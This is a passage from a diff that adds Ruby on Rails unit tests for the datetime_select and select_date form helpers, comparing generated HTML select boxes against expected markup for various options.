+ datetime_select("post", "updated_at")
+ end
+
+ def test_datetime_select_with_default_prompt
+ @post = Post.new
+ @post.updated_at = nil
+
+ expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+ expected << %{<option value="">Year</option>\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+ expected << %{<option value="">Month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+ expected << %{<option value="">Day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value [...]
+ expected << "</select>\n"
+
+ expected << " — "
+
+ expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+ expected << %{<option value="">Hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</opt [...]
+ expected << "</select>\n"
+ expected << " : "
+ expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+ expected << %{<option value="">Minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</o [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, datetime_select("post", "updated_at", :start_year=>1999, :end_year=>2009, :prompt => true)
+ end
+
+ def test_datetime_select_with_custom_prompt
+ @post = Post.new
+ @post.updated_at = nil
+
+ expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+ expected << %{<option value="">Choose year</option>\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+ expected << %{<option value="">Choose month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+ expected << %{<option value="">Choose day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<optio [...]
+ expected << "</select>\n"
+
+ expected << " — "
+
+ expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+ expected << %{<option value="">Choose hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13"> [...]
+ expected << "</select>\n"
+ expected << " : "
+ expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+ expected << %{<option value="">Choose minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13 [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, datetime_select("post", "updated_at", :start_year=>1999, :end_year=>2009, :prompt => {:year => 'Choose year', :month => 'Choose month', :day => 'Choose day', :hour => 'Choose hour', :minute => 'Choose minute'})
+ end
+
+ def test_date_select_with_zero_value_and_no_start_year
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ (Date.today.year-5).upto(Date.today.year+1) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_date(0, :end_year => Date.today.year+1, :prefix => "date[first]")
+ end
+
+ def test_date_select_with_zero_value_and_no_end_year
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ last_year = Time.now.year + 5
+ 2003.upto(last_year) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_date(0, :start_year => 2003, :prefix => "date[first]")
+ end
+
+ def test_date_select_with_zero_value_and_no_start_and_end_year
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ (Date.today.year-5).upto(Date.today.year+5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_date(0, :prefix => "date[first]")
+ end
+
+ def test_date_select_with_nil_value_and_no_start_and_end_year
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ (Date.today.year-5).upto(Date.today.year+5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_date(nil, :prefix => "date[first]")
+ end
+
+ def test_datetime_select_with_nil_value_and_no_start_and_end_year
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ (Date.today.year-5).upto(Date.today.year+5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+ expected << "</select>\n"
+
+ expected << " — "
+
+ expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+ expected << "</select>\n"
+
+ expected << " : "
+
+ expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_datetime(nil, :prefix => "date[first]")
+ end
+
+ def test_datetime_select_with_options_index
+ @post = Post.new
+ @post.updated_at = Time.local(2004, 6, 15, 16, 35)
+ id = 456
+
+ expected = %{<select id="post_456_updated_at_1i" name="post[#{id}][updated_at(1i)]">\n}
+ expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_456_updated_at_2i" name="post[#{id}][updated_at(2i)]">\n}
+ expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_456_updated_at_3i" name="post[#{id}][updated_at(3i)]">\n}
+ expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
+ expected << "</select>\n"
+
+ expected << " — "
+
+ expected << %{<select id="post_456_updated_at_4i" name="post[#{id}][updated_at(4i)]">\n}
+ expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+ expected << "</select>\n"
+ expected << " : "
+ expected << %{<select id="post_456_updated_at_5i" name="post[#{id}][updated_at(5i)]">\n}
+ expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, datetime_select("post", "updated_at", :index => id)
+ end
+
+ def test_datetime_select_within_fields_for_with_options_index
+ @post = Post.new
+ @post.updated_at = Time.local(2004, 6, 15, 16, 35)
+ id = 456
+
+ output_buffer = fields_for :post, @post, :index => id do |f|
+ concat f.datetime_select(:updated_at)
+ end
+
+ expected = %{<select id="post_456_updated_at_1i" name="post[#{id}][updated_at(1i)]">\n}
+ expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_456_updated_at_2i" name="post[#{id}][updated_at(2i)]">\n}
+ expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_456_updated_at_3i" name="post[#{id}][updated_at(3i)]">\n}
+ expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
+ expected << "</select>\n"
+
+ expected << " — "
+
+ expected << %{<select id="post_456_updated_at_4i" name="post[#{id}][updated_at(4i)]">\n}
+ expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+ expected << "</select>\n"
+ expected << " : "
+ expected << %{<select id="post_456_updated_at_5i" name="post[#{id}][updated_at(5i)]">\n}
+ expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_datetime_select_with_auto_index
+ @post = Post.new
+ @post.updated_at = Time.local(2004, 6, 15, 16, 35)
+ id = @post.id
+
+ expected = %{<select id="post_123_updated_at_1i" name="post[#{id}][updated_at(1i)]">\n}
+ expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_123_updated_at_2i" name="post[#{id}][updated_at(2i)]">\n}
+ expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_123_updated_at_3i" name="post[#{id}][updated_at(3i)]">\n}
+ expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
+ expected << "</select>\n"
+
+ expected << " — "
+
+ expected << %{<select id="post_123_updated_at_4i" name="post[#{id}][updated_at(4i)]">\n}
+ expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+ expected << "</select>\n"
+ expected << " : "
+ expected << %{<select id="post_123_updated_at_5i" name="post[#{id}][updated_at(5i)]">\n}
+ expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, datetime_select("post[]", "updated_at")
+ end
+
+ def test_datetime_select_with_seconds
+ @post = Post.new
+ @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+ expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+ 1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
+ expected << "</select>\n"
+ expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+ 1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
+ expected << "</select>\n"
+ expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+ 1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
+ expected << "</select>\n"
+
+ expected << " — "
+
+ expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+ 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+ expected << " : "
+ expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+ expected << " : "
+ expected << %{<select id="post_updated_at_6i" name="post[updated_at(6i)]">\n}
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 35}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, datetime_select("post", "updated_at", :include_seconds => true)
+ end
+
+ def test_datetime_select_discard_year
+ @post = Post.new
+ @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+ expected = %{<input type="hidden" id="post_updated_at_1i" name="post[updated_at(1i)]" value="2004" />\n}
+ expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+ 1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
+ expected << "</select>\n"
+ expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+ 1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
+ expected << "</select>\n"
+
+ expected << " — "
+
+ expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+ 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+ expected << " : "
+ expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, datetime_select("post", "updated_at", :discard_year => true)
+ end
+
+ def test_datetime_select_discard_month
+ @post = Post.new
+ @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+ expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+ 1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
+ expected << "</select>\n"
+ expected << %{<input type="hidden" id="post_updated_at_2i" name="post[updated_at(2i)]" value="6" />\n}
+ expected << %{<input type="hidden" id="post_updated_at_3i" name="post[updated_at(3i)]" value="1" />\n}
+
+ expected << " — "
+
+ expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+ 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+ expected << " : "
+ expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, datetime_select("post", "updated_at", :discard_month => true)
+ end
+
+ def test_datetime_select_discard_year_and_month
+ @post = Post.new
+ @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+ expected = %{<input type="hidden" id="post_updated_at_1i" name="post[updated_at(1i)]" value="2004" />\n}
+ expected << %{<input type="hidden" id="post_updated_at_2i" name="post[updated_at(2i)]" value="6" />\n}
+ expected << %{<input type="hidden" id="post_updated_at_3i" name="post[updated_at(3i)]" value="1" />\n}
+
+ expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+ 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+ expected << " : "
+ expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, datetime_select("post", "updated_at", :discard_year => true, :discard_month => true)
+ end
+
+ def test_datetime_select_discard_year_and_month_with_disabled_html_option
+ @post = Post.new
+ @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+ expected = %{<input type="hidden" id="post_updated_at_1i" disabled="disabled" name="post[updated_at(1i)]" value="2004" />\n}
+ expected << %{<input type="hidden" id="post_updated_at_2i" disabled="disabled" name="post[updated_at(2i)]" value="6" />\n}
+ expected << %{<input type="hidden" id="post_updated_at_3i" disabled="disabled" name="post[updated_at(3i)]" value="1" />\n}
+
+ expected << %{<select id="post_updated_at_4i" disabled="disabled" name="post[updated_at(4i)]">\n}
+ 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+ expected << " : "
+ expected << %{<select id="post_updated_at_5i" disabled="disabled" name="post[updated_at(5i)]">\n}
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, datetime_select("post", "updated_at", { :discard_year => true, :discard_month => true }, :disabled => true)
+ end
+
+ def test_datetime_select_discard_hour
+ @post = Post.new
+ @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+ expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+ 1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
+ expected << "</select>\n"
+ expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+ 1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
+ expected << "</select>\n"
+ expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+ 1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, datetime_select("post", "updated_at", :discard_hour => true)
+ end
+
+ def test_datetime_select_discard_minute
+ @post = Post.new
+ @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+ expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+ 1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
+ expected << "</select>\n"
+ expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+ 1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
+ expected << "</select>\n"
+ expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+ 1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
+ expected << "</select>\n"
+
+ expected << " — "
+
+ expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+ 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+ expected << %{<input type="hidden" id="post_updated_at_5i" name="post[updated_at(5i)]" value="16" />\n}
+
+ assert_dom_equal expected, datetime_select("post", "updated_at", :discard_minute => true)
+ end
+
+ def test_datetime_select_disabled_and_discard_minute
+ @post = Post.new
+ @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+ expected = %{<select id="post_updated_at_1i" disabled="disabled" name="post[updated_at(1i)]">\n}
+ 1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
+ expected << "</select>\n"
+ expected << %{<select id="post_updated_at_2i" disabled="disabled" name="post[updated_at(2i)]">\n}
+ 1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
+ expected << "</select>\n"
+ expected << %{<select id="post_updated_at_3i" disabled="disabled" name="post[updated_at(3i)]">\n}
